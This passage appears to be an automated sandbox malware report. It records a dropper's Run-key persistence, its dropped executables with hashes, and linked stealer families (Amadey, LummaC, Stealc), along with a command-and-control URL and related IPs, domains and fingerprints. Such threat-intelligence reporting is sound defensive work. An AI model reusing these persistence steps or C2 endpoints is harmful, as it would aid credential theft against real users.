03:11:03	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
03:12:36	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 0db0ccc3ed.exe C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe
03:12:45	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e01d8601b1.exe C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe
03:12:55	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run bebc60ce74.exe C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe
03:13:03	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 74f23764ea.exe C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe
03:13:11	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 0db0ccc3ed.exe C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe
03:13:19	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e01d8601b1.exe C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe
03:13:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run bebc60ce74.exe C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe
03:13:37	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 74f23764ea.exe C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe
22:12:00	API Interceptor	16538213x Sleep call for process: skotes.exe modified
22:12:34	API Interceptor	190x Sleep call for process: 0db0ccc3ed.exe modified
22:12:57	API Interceptor	434x Sleep call for process: e01d8601b1.exe modified
22:13:23	API Interceptor	1x Sleep call for process: WerFault.exe modified
22:13:57	API Interceptor	1x Sleep call for process: firefox.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
172.67.155.248	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	injector V2.4.exe	Get hash	malicious	LummaC	Browse
	ADZ Laucher.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
twitter.com	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
star-mini.c10r.facebook.com	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.196.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.195.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.195.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.195.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.195.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.195.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.195.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.195.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.196.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.195.35
services.addons.mozilla.org	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	88a4dd8-Contract Agreement-Final378208743.pdf	Get hash	malicious	Unknown	Browse	151.101.193.140
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.155.248
	88a4dd8-Contract Agreement-Final378208743.pdf	Get hash	malicious	Unknown	Browse	104.16.123.96
	754619b-Contract Agreement-Final727916073.pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	arm.nn-20241122-0008.elf	Get hash	malicious	Mirai, Okiru	Browse	104.28.200.40
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	MayitaV16.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://doam29-kk5ug.ondigitalocean.app/	Get hash	malicious	TechSupportScam	Browse	162.159.140.98
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.66.38

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	88a4dd8-Contract Agreement-Final378208743.pdf	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 184.30.17.174 20.190.177.22
	754619b-Contract Agreement-Final727916073.pdf	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 184.30.17.174 20.190.177.22
	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 13.107.246.63 184.30.17.174 20.190.177.22
	https://doam29-kk5ug.ondigitalocean.app/	Get hash	malicious	TechSupportScam	Browse	172.202.163.200 13.107.246.63 184.30.17.174 20.190.177.22
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.202.163.200 13.107.246.63 184.30.17.174 20.190.177.22
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 184.30.17.174 20.190.177.22
	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 13.107.246.63 184.30.17.174 20.190.177.22
	http://amz-account-unlock-dashboard4.duckdns.org	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 184.30.17.174 20.190.177.22
	Invoice_Billing_carolinadunesbh.com_6995261057.html	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 184.30.17.174 20.190.177.22
	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 13.107.246.63 184.30.17.174 20.190.177.22
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248 20.50.80.209
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248 20.50.80.209
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.155.248 20.50.80.209
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248 20.50.80.209
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.155.248 20.50.80.209
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248 20.50.80.209
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248 20.50.80.209
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248 20.50.80.209
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248 20.50.80.209
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.155.248 20.50.80.209
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_e01d8601b1.exe_5985f13b32c2fd266aefe01f8cc71a9af177d3b1_4c1e5736_a1c4608b-3fcf-43ff-a5a9-b4bf46df44e7\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9988581350745567
Encrypted:	false
SSDEEP:	192:b+DbiAcZSn0BU/wjuCZr+dqPzuiFzZ24IO8q:aDbTKS0BU/wjWmzuiFzY4IO8q
MD5:	60C49D898B9A79B0FA461847221E7DBB
SHA1:	9A892DB52DC48D1E3D0B3CEA679A30EDE7131283
SHA-256:	8A9504E61F07FC615F727C0BD7D6B493DA88F946B92089B41ED35CF7281D5E50
SHA-512:	690A9F37329F401C37373B000514A6A1B21C2F8B34B734303B2E194931C0EFFE4F2AF6B08CFE0E17124383F65AC4F74CD697F55C25257130FC971629B6A6535F
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.6.7.1.8.7.7.6.9.4.0.2.8.1.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.6.7.1.8.7.7.7.9.4.0.2.8.9.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.1.c.4.6.0.8.b.-.3.f.c.f.-.4.3.f.f.-.a.5.a.9.-.b.4.b.f.4.6.d.f.4.4.e.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.7.2.f.4.5.f.9.-.b.2.8.c.-.4.6.1.e.-.b.9.f.1.-.d.3.8.7.2.1.3.5.8.0.0.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.e.0.1.d.8.6.0.1.b.1...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.e.9.8.-.0.0.0.1.-.0.0.1.4.-.e.5.2.4.-.2.c.6.2.8.c.3.c.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.d.d.8.e.2.4.d.5.7.e.f.3.9.5.4.5.1.7.d.c.9.9.6.5.2.1.9.6.0.2.b.6.0.0.0.0.f.f.f.f.!.0.0.0.0.0.9.2.b.5.4.0.6.b.a.5.d.3.3.e.b.d.2.f.4.0.f.b.8.c.c.b.d.9.e.1.9.1.f.b.3.a.8.4.5.!.e.0.1.d.8.6.0.1.b.1...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B1F.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Nov 22 03:12:57 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	286164
Entropy (8bit):	1.4045599559148436
Encrypted:	false
SSDEEP:	384:xjdPoD7DtuDNdhjeECmvngr9wweP/myYCq1HFibT9V4enW4mRgjz3qcyCVNSa12o:xjdP2uRzeECleC4fxNSawBR/2RUK/
MD5:	3BC8AB60CA7A67F60DA2656673C915AB
SHA1:	0FC73E44DD38FB77AFA826194A1C4620A3DF39C8
SHA-256:	A609CA788A9E6CF877B0F9EA5534553D5DECC5BE363609EA2231C4A255ED1C69
SHA-512:	2D176074404CBFB141631AB5F8C937A7E6123C77ADCF00537023BAC13CF08195336D762AF22F4E433058F203B69A2246093FD86E098E59A8330EA5C4B1AC2D92
Malicious:	false
Preview:	MDMP..a..... .........?g............d...........8...l...........P...........T.......8...........T............>...............$...........&..............................................................................eJ......('......GenuineIntel............T.............?g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4DB0.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8342
Entropy (8bit):	3.697537111692615
Encrypted:	false
SSDEEP:	192:R6l7wVeJsj6+6YsX6sQ3cQgmfM448pr789bk98ssf0+Mm:R6lXJg6+6YE6B3cQgmfM44lk98/f1
MD5:	E7E0C84AAC22CA9AE4D48F690D2FD9F9
SHA1:	0D29DB32E369102A28DB44181333EC00E45585AD
SHA-256:	EE0B8AEAFEEB2C9FBABFA1058EE352EA9D2436A7EE6B421F67F04B3638497A56
SHA-512:	D78867C29E2BF4C35FC57296F988BA3249D90AB7A49DA7774ECA9D3A7F51F7B2F2DF3E6301F4154C016C35C4B8E83EB38BDCA5E6BA8201DE0A31745537D492BE
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.7.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4DE0.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4600
Entropy (8bit):	4.475028301098514
Encrypted:	false
SSDEEP:	48:cvIwWl8zscJg77aI9HMWpW8VY7Ym8M4JO/Ff+q8aRxA/XlC6wd:uIjfaI7hl7VXJuNxmljwd
MD5:	41517D6A16EF0A3176272EEC4E5D7BBB
SHA1:	4CE0A51202755577258302659447ACEE7FF5AF07
SHA-256:	DF00580541947D612519068E6F99CB4B1C427DB070053E352F72D0160844D221
SHA-512:	705A6750BFA8BE28A13040ECB8C10C4A294D36056A5D6DE3D7FC510AEF28638F8E4B6FCD29B94461596ECCFCC91F3147F15F2A0BCC3DBB1DC5494A7CD96D9E3F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="598695" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\74f23764ea.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4370944
Entropy (8bit):	7.983330178918784
Encrypted:	false
SSDEEP:	98304:s6seTZzeKqIYD+E2yKPXNe5uqLpGsYEp:s6Z9lqJD+E23P1IpGs3
MD5:	402AF0C244E89244C6E899931F5A23B9
SHA1:	4413E4E963830F4631A64830B8DC8BF3E427D53A
SHA-256:	E4F2DD198EDB21635F20639DC65BCAE2B2CF6A66B9F8A37B7253DD7B353C3EF9
SHA-512:	FDCCE9F496704336B45EC255095F7DD76FA0AF26CF8AB784A283D55D5B05BD94EF3D3E61BEE5B9F7E20251DFAAEF9834373E6FF39E21FC689551A4AE5A27F1DA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@..................................9C...@... ............................._.q.s...........................X....................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..7...q.......'.............@...znqcpoet..............'.............@...hmwsaqwi..............B.............@....taggant.0......."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2721792
Entropy (8bit):	6.546652063801442
Encrypted:	false
SSDEEP:	24576:jnjB7FpN0SVFz8CWPNiprjOA/ddxv0Z0pelC6BK8ujbaf0PskSXzEHp8QGyUknPT:jjowfbdTLjIzEaQGyUaeKGFanEKL
MD5:	28474A1CB1FAFE42F6E83116E07F1837
SHA1:	6D82769476D95CD6B76B66915A74C3A6E397DF69
SHA-256:	8D4389889CCD0F0E2A86D99509DC019C7CB2109626B5E813CF095EE2BD8A8DBF
SHA-512:	95250AA926C90A6C05354BE51A7D9589B1B9E56A8265B29DF3E2B81C6C9AF4AF9D1C377C55AAF77143A4924D69BE62895B4B34907F9DBA33E99F6D83AACB5657
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. .......................@.......)...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...mjddytxu.@)......()..:..............@...vefxxbiz. ....)......b).............@....taggant.@....*.."...f).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1731584
Entropy (8bit):	7.94336351253114
Encrypted:	false
SSDEEP:	49152:Vo3Ip876qfaZ5auoQOwubB5QgwR5BPB44:C3N76iBbB5Q15D
MD5:	E26B7B214A9BCDADA5B6A91CED4F99B3
SHA1:	092B5406BA5D33EBD2F40FB8CCBD9E191FB3A845
SHA-256:	0FCF04A856F1A43C977D633E19138FE8736482425557A16EA02E7572D2D6D313
SHA-512:	83B4713584B23FC879F7B079BDAA43EA900FDED8A2BEC2D0CC1B505DE7101D706826056DD0E0BBD521C1CA6FD29B33E8E8A7BD42FFBC423DEC3F2F7328B9F502
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................".......@f...........@..........................pf......b....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..(...$......v..............@...yqttidiy.....`M......x..............@...gxgxfcij.....0f......D..............@....taggant.0...@f.."...J..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	921600
Entropy (8bit):	6.590282561969895
Encrypted:	false
SSDEEP:	12288:oqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgauTT:oqDEvCTbMWu7rQYlBQcBiT6rprG8aWT
MD5:	01BA490C6ED14545D61671AB153BD4E3
SHA1:	034CD7B9F643AF75979F8B21DD8F8A979DC00A2A
SHA-256:	0842AE3AB48E3CD4BC07A2B22E03B3939AD4027645A7CC17D5F9F0CFE8151BE8
SHA-512:	B802CE35142351E833E8F04982E134216EE16D36531ECEDD66C73976D31BEEEA6A17F5ED3B2F5168105C2532172D888E31DCCC70F9794129CA33EE241B7311C9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
